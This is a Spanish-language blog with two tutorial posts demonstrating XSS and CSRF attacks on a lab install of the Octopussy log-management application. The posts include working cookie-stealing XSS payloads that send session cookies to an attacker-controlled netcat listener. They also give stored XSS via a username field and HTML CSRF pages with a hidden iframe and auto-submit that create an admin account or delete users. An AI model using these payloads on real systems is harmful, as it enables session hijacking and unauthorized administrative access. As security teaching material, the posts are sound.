lunes, 4 de marzo de 2013

Un poco de XSS

Por acá de nuevo, debido a que realmente me gustó escribir el post anterior, hoy voy a escribir un poco sobre XSS, otra vulnerabilidad muuuuy común en aplicaciones web. XSS (Cross Site Scripting) se trata de una vulnerabilidad que permite la inserción y ejecución de código javascript en una aplicación web, principalmente debido a la ineficiencia o ausencia de validación en las entradas de los usuarios.

En esencia existen dos tipos de vulnerabilidades XSS:
-Indirectas o reflejadas: estas no perduran en el tiempo, y se trata de la modificación de parámetros entre una página y otra. Generalmente se trata de variables que se van a mostrar en el sitio.
-Directas o persistentes: consisten en lograr insertar código script de manera permanente en la aplicación web. Este tipo de XSS se presenta por lo general en sitios que permitan publicar contenido.

Mi conejo de indias volverá a ser Octopussy (la misma instalación del post anterior), ya que ha demostrado ser un buen ejemplo (o mal ejemplo, depende de donde se lo mire :P) para probar estas vulnerabilidades.

Entonces el objetivo principal es lograr insertar código javascript para por ejemplo: robar las cookies de sesión (también conocido como session-hijacking, secuestro de sesion).

Luego de probar un rato me encontré con que el lugar mas sencillo para explotar XSS es la página de eliminación de usuarios, mas precisamente en el link: https://172.16.62.145:8888/dialog.asp?id=delete_user&arg1=usuario.



Prueba 1: ejecución del clásico mensaje con la función alert(). Para esto vamos a jugar con el parámetro arg1 que podemos ver se encuentra escrito en el código de fuente, por lo cual intuimos que es un potencial XSS INDIRECTO. Primero cambiamos usuario por una palabra cualquiera, como aquelarre.


Queda confirmado que el argumento arg1 es luego usado para construir el sitio que vemos. Entonces ahora solo nos queda introducir en arg1 algo de javascript. Reemplazamos aquelarre por <scrip>alert("XSS!!!")</script>


Prueba 2: obteniendo la cookie de sesión. Como dijimos antes, la idea sería poder obtener el token de sesión para poder tomar la identidad del administrador, para eso necesitamos la cookie asignada a su sesión. Para ver las cookies con javascript utilizamos document.cookie, y la podemos ver utilizando alert de la siguiente forma: <script>alert(document.cookie)</script>


Prueba 3: session hijacking!!! Ahora ya sabemos cómo ver la cookie, solo necesitamos poder enviarnosla remotamente para luego poder utilizarla. La manera mas utilizada de hacer esto es mediante la famosa etiqueta <img>. La idea básicamente es que en el atributo src de nuestra etiqueta img apuntemos hacia algún servidor web bajo nuestro control incluyendo la cookie como parámetro en una petición GET.

Como no merece la pena levantar un servidor web para hacer solamente esta prueba, se me ocurrió utilizar lisa y llanamente netcat (la navaja suiza TCP/IP como le dicen :P). Entonces puse netcat a escuchar en el puerto 8080 de la pc 172.16.62.1.

Ahora el link al que debería acceder nuestro administrador desprevenido es: https://172.16.62.145:8888/dialog.asp?id=delete_user&arg1=%3Cscript%3Edocument.write%28%27%3Cimg%20src=http://172.16.62.1:8080/%27+%2bdocument.cookie+%2b+%27%3E%27%29%3C/script%3E
Y nuevamente aparece la imagen rota que nada dice, pero que muuucho hace.


Y en nuestro netcat recibimos la cookie como parámetro en el GET:


Listo, ya tenemos la cookie, no necesitamos ni usuario ni password. Para comprobar que la cookie obtenida funciona, eliminamos toda las cookies de firefox, de tal forma que si ingresamos a https://172.16.62.145:8888/system.asp veremos:


Ahora cargamos manualmente la cookie con cookiemanager:


Volvemos a ingresar a https://172.16.62.145:8888/system.asp y ahora...:


Total y absoluto control :D, sesión secuestrada con éxito!

Esta técnica a mi criterio se trata de una combinación de CSRF y XSS, ya que por un lado tenemos la ejecución de una petición de manera encubierta sobre una aplicación remota (el hecho de lograr que el administrador ejecute el link) y la inserción de código javascript para el robo del token de sesión.

Prueba 4: Luego del robo de sesión exitoso seguí probando cosas sin sentido y me encontré con algo mas que gracioso. Sin tener una sesión iniciada, solamente conociendo el formulario de la creación de usuarios podemos crearnos nuestro propio usuario admnistrador!!!

Utilizando el formulario de la prueba 1 de CSRF (CSRF2.html) del post anterior se puede crear el usuario eviladministrator:


Una vez creado iniciamos sesión:


INCREIBLE... pero si.

Prueba 5: los 3 primeros casos se trataron de XSS de tipo reflajados o indirectos, que como ya dijimos NO son persistentes (solo vuelven a funcionar si el usuario presiona el link nuevamente). Ahora vamos a buscar un caso de XSS directo o persistente para ver de qué se trata.
Haciendo uso de la vulnerabilidad de la Prueba 4, en el campo de nombre ponemos <script>document.write('<img src=http://172.16.62.1:8000/'+document.cookie+'>');</script> y agregamos el nuevo usuario.


Ahora cuando algún usuario se autentique en la aplicación y vaya a la sección de usuarios verá lo siguiente:


En la imagen anterior además se ven otras pruebas, una de ellas consiste en poner en el nombre del usuario <script>document.write(document.cookie)</script>. Esta prueba en particulara se trata de una de las imágenes rotas. Si controlamos nuestro netcat vemos:


Decimos que se trata de un XSS persistente ya que los datos están grabados en la base de datos de usuarios. Siempre que un usuario ingrese a esta parte de la aplicación nosotros recibiremos su cookie, porque se ejecutará el XSS.

Para quienes quieran un poco mas de XSS acá va: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

viernes, 1 de marzo de 2013

Un poco de CSRF

Aca de nuevo trayendo algo que me interesó hace unos días y me parecía que valía la pena probar y comentar acá. Se trata de las vulnerabilidades de tipo CSRF (Cross Site Request Forgery), también se las conoce por otros nombres, pero este es el mas usado.

¿Qué es CSRF?
Básicamente se trata de un tipo de ataque mediante el cual se intenta que la víctima realice una determinada operación en una aplicación web sin saberlo. Esta técnica se aprovecha de aplicaciones web que tienen una estructura de peticiones predecibles.
El detalle está en que si el usuario se encuentra autenticado en la aplicación el browser mismo ocultará la operación incluyendo en la petición las credenciales de autenticación (cookie, basic-auth, etc), como si se tratara de una petición completamente legítima.

Y como sabemos... muchas veces los usuarios NO cierran las sesiones de sus aplicaciones web como corresponde y sumado al hecho de que a veces las cookies no expiran en tiempos razonables... booooom! CSRF attack!!!

Ejemplo:
Supongamos que tenemos un sitio www.sitiodeprueba.com. Se trata de una aplicación PHP escrita a mano y que una vez lograda la autenticación con mi usuario y contraseña me asigna una cookie de sesión con la cual se autentica en cada petición. La aplicación permite cargar usuarios, modificarlos y eliminarlos. Cuando ingresamos a la opción de agregar usuario nos encontramos con un formulario sencillo con dos campos input uno de nombre y otro de contraseña y por último el botón de "Nuevo Usuario".

En HTML sería algo así:


<form name="agregar_usuario" method="GET" action="usuarios.php">
    <tr>
        <input type="text" name="nombre"></td>
        <input type="password" name="password"></td>
        <input type="submit" name="submit" value="Nuevo Usuario">
    </tr>
</form>

Este formulario, si ingresamos como nombre y password Juan y luego presionamos el botón "Nuevo Usuario", sencillamente se transforma en http://www.sitiodeprueba.com/usuarios.php?nombre=Juan&password=Juan y se envía como una petición de tipo GET.
Si ahora escribimos en la barra de dirección del browser www.sitiodeprueba.com/usuarios.php?nombre=Ramon&password=Ramon123 , estariamos creando el usuario de nombre Ramon y de password Ramon123. Esto se trata de una petición (GET en este caso) predecible, la petición NO incluye atributos que la distingan de la anterior o de la próxima. De una forma muy similar se puede lograr lo mismo si se trata de peticiones de tipo POST.

Entonces para explotar una vulnerabilidad CSRF se necesitan: un usuario autenticado y una petición que sea fácilmente reproducible. Pero falta algo mas... falta lograr que el usuario autenticado realice la petición en cuestión y en lo posible sin que se de cuenta!!! Hay varias formas de hacer llegar la petición a la víctima, algunas mas camufladas que otras. Las formas van desde: enviar por correo los links, hasta insertar el código en un sitio web el cual sabemos que la víctima visita frecuentemente.

Prueba de concepto:
Bien, ahora vamos a probar la teoría. La situación de prueba es la siguiente.


Tenemos una máquina virtual (172.16.62.145) con un software de administración de logs llamado octopusy (versión 1.0-4, la versión que viene con Ubuntu 12.04.2 LTS). Esta aplicación se encuentra en el puerto 8888 (HTTPS).

Si iniciamos sesión como administrador vemos que se nos asigna una cookie de sesión, la cuál nos autentica luego en cada petición que le hacemos a la aplicación:


Viendo un poco la aplicación resulta que tiene varias peticiones que se podrían reproducir fácilmente y hacer CSRF.
En el menú de usuarios podemos agregar, modificar y borrar usuarios.


Si vemos un poco el código de fuente (HTML) de user.asp, agregar un nuevo usuario consiste en el siguiente formulario:

...

<form name="unknown" method="POST" action="./user.asp">
<tr class="box">
<td class="box">
<input type="text" name="login"></td>
<td class="box">
<input type="password" name="password" value=""></td>
<td class="box" align="center" ></td>
<td class="box">
<select   name="AAT_Language">
EN<option value="EN">Ingles</option>
FR<option value="FR">Frances</option>
DE<option value="DE">Aleman</option>
IT<option value="IT">Italiano</option>
PT<option value="PT">Portugues</option>
RU<option value="RU">Ruso</option>
ES<option  selected value="ES">Español</option>
</select></td>
<td class="box">
<select   name="user_role">
admin<option value="admin">Admin</option>
ro<option value="ro">Read Only</option>
rw<option value="rw">Read Write</option>
restricted<option value="restricted">Restricted</option>
</select></td>
<td class="box">
<select   name="status">
Enabled<option value="Enabled">Habilitado</option>
Disabled<option value="Disabled">Deshabilitado</option>
</select></td>
<td class="box" align="center"  colspan="3"><input type="submit" name="submit" value="Nuevo Usuario"></td>
</tr>
</form>
...

Es un formulario POST común y sin ninguna particularidad que nos impida reproducirlo. Entonces empiezan las pruebas.

Prueba 1: reproducción sencilla del formulario para agregar un nuevo usuario. En esta prueba solamente aislamos y reproducimos el formulario. NOTA: ahora el atributo action de la etiqueta form debe llevar la dirección completa del recurso, en nuestro caso https://172.16.62.145:8888/user.asp.

<html>
    <head>
        <title>Prueba CSRF</title>
    </head>
    <body>
        <p>Prueba de csrf 2</p>
        <p>Reproducción sencilla del formulario de creación de nuevo usuario.</p>
        <p>
            <form name="unknown" id="unknown" method="POST" action="https://172.16.62.145:8888/user.asp">
                <tr class="box">
                    <td class="box"><input type="text" name="login" value="malo"></td>
                    <td class="box"><input type="password" name="password" value="malo"></td>
                    <td class="box">
                        <select   name="AAT_Language">
                        EN<option value="EN">Ingles</option>
                        FR<option value="FR">Frances</option>
                        DE<option value="DE">Aleman</option>
                        IT<option value="IT">Italiano</option>
                        PT<option value="PT">Portugues</option>
                        RU<option value="RU">Ruso</option>
                        ES<option  selected value="ES">Español</option>
                        </select>
                    </td>
                    <td class="box">
                    <select   name="user_role">
                    admin<option value="admin">Admin</option>
                    ro<option value="ro">Read Only</option>
                    rw<option value="rw">Read Write</option>
                    restricted<option value="restricted">Restricted</option>
                    </select>
                    </td>
                    <td class="box">
                        <select   name="status">
                        Enabled<option value="Enabled">Habilitado</option>
                        Disabled<option value="Disabled">Deshabilitado</option>
                        </select>
                    </td>
                    <input type="submit" name="submit" value="Nuevo Usuario">
                </tr>
            </form>
        </p>
    </body>
</html>

Si abrimos con el browser el archivo CSRF2.html veremos:


Una vez que presionemos el botón "Nuevo Usuario" veremos:


Tenemos creado el nuevo usuario, nombre=malo password=malo!!! Ahora ya sabemos que el ataque es posible, solo hay que lograr ocultarlo para que no sea tan evidente.

Prueba 2: ahora vamos a automatizar y ocultar el ataque de forma tal que la víctima no vea qué sucedió. Para lograr esto vamos a requerir la ayuda de los famosos iframe y javascript.

Por un lado tenemos el archivo CSRF3.html:

<html>
    <head>
        <title>Prueba CSRF</title>
    </head>
    <body>
        <h2>Prueba de CSRF 3</h2>
        <p>Haciendo una petición por POST con un formulario automático, dentro de un iframe casi invisible.</p>
        <p>Resultado: creación de un nuevo usuario con privilegios de administrado llamado "malo2".</p>
        <iframe src="formulario_nuevo_usuario.html" width="0" height="0">
    </body>
</html>

Un HTML sencillo que podría ser un sitio cualquiera, pero que contiene un iframe de tamaño despreciable y que carga el archivo formulario_nuevo_usuario.html. Este último html es el que contiene nuestra nueva versión reducida del formulario de alta de usuario, que es la siguiente:

<form name="unknown" id="unknown" method="POST" action="https://172.16.62.145:8888/user.asp">
    <tr class="box">
        <td class="box">
            <input type="text" name="login" value="malo2"></td>
        <td class="box">
        <input type="password" name="password" value="malo"></td>
        <td class="box">
            <select   name="AAT_Language">
            ES<option  selected value="ES">Español</option>
            </select>
        </td>
        <td class="box">
        <select   name="user_role">
        admin<option selected value="admin">Admin</option>
        </select>
        </td>
        <td class="box">
            <select   name="status">
            Enabled<option selected value="Enabled">Habilitado</option>
            </select>
        </td>
    </tr>
</form>
<script>document.unknown.submit();</script>

Sencillamente recortamos las selecciones de las etiquetas select y dejamos seleccionadas las características que queremos que tenga el usuario (idioma español, rol admin y que esté activado), quitamos el botón "Nuevo Usuario" y por último agregamos una linea de javascript que procesa el formulario automáticamente.

Si ahora abrimos nuestro archivo CSRF3.html nos encontramos con:


Nada... un cuadradito pequeño allí que poco importa a quien no sospecha de nada y menos aún si se camufla en un gran sitio web con muchos colores e imágenes. Pero... si vamos a ver los usuarios vemos:



El usuario "malo2" se creo sin llamar la atención del administrador.

Prueba 3: muchas veces resulta ser que tanto las peticiones GET como las POST son procesadas indistintamente por las aplicaciones. Esto quiere decir que podría no ser necesario recurrir a los trucos de las 2 pruebas anteriores... ¿Por qué no probar enviar una petición GET con los mismo campos que la petición POST?

link: https://172.16.62.145:8888/user.asp?login=malo3&password=malo&AAT_Language=ES&user_role=admin&status=Enabled

Resultado:


Si bien se muestra el usuario creado, es imposible acceder con el mismo y se ve claramente que no tomó los atributos que indicamos. Esto indica que la aplicación se comporta de manera diferente ante una petición GET con los mismos atributos.

Prueba 4: por último vamos a ver el caso más sencillo de ocultar y se trata justamente de las peticiones GET. Las peticiones GET se pueden enmascarar por ejemplo con una etiqueta html img. Buscando un poco en la aplicación vemos que esto se podría hacer en la opción de eliminar usuario. Cuando decidimos eliminar un usuario se nos presenta una nueva página donde podemos elegir entre confirmar nuestra operación o cancelarla.


Como podemos ver, el link del botón de ok es claramente una petición de tipo GET.

https://172.16.62.145:8888/user.asp?login=malo3&action=remove

Ahora ya sabemos que si hacemos click en un link solamente indicando el nombre del usuario y la acción remove, podemos eliminarlo de la aplicación (siempre y cuando quien haga click se haya autenticado previamente con los privilegios necesarios, en nuestro caso el administrador).
Paso siguiente creamos el archivo CSRF4.html con el siguiente contenido:

<html>  
    <head>
        <title>Prueba CSRF</title>
    </head>
    <body>
        <h2>Prueba de CSRF 4</h2>
        <p>Haciendo CSRF por GET a través de un tag img.</p>
        <p>Resultado: eliminación del usuario de nombre "malo".</p>      
        <p>
            <img src="https://172.16.62.145:8888/user.asp?login=malo3&action=remove"/>
        </p>
    </body>
</html>

La línea que lo hace todo es <img src="https://172.16.62.145:8888/user.asp?login=malo3&action=remove"/> por lo tanto alcanzaría insertar esa línea en cualquier sitio que la víctima visite frecuentemente.

Si abrimos el archivo con el browser vemos:


Simplemente una imagen que desgraciadamente no pudo cargarse, que pena...
Pero en la aplicación se pueden ver las consecuencias de esa imagen sin cargar:


El usuario malo3 ha sido eliminado por el usuario admin sin que este último tenga la mas mínima intención.

Resultados de las pruebas:
-Crear usuarios
-Eliminar usuarios

Situación hipotética: supongamos por un segundo que este servidor pertenece a la red privada de una organización y que existe en el firewall principal una regla de redirección que les permite a los administradores acceder remotamente a la aplicación (porque los administradores a veces trabajn desde sus casas :P). Si los atacantes lograran que los administradores ejecuten alguna de las pruebas hechas anteriormente, podrían hacerse con un usuario y contraseña válidos para ingresar a la aplicación remotamente, sin necesidad de estar en la red privada. Esto significa que podrían hacer con los logs lo que quieran. A partir de allí podrían buscar otras vulnerabilidades en la aplicación y comenzar a escalar privilegios, desde un servidor en la red privada... OMG!!!

Ja... todo lo que podría pasar con un solo click, no?

Para quienes quieran interiorizar en CSRF, busquen el white paper de Jesse Burns "Cross Site Request Forgery An introduction to a common web application weakness". También en http://www.google.com/search?q=CSRF .

Saludossss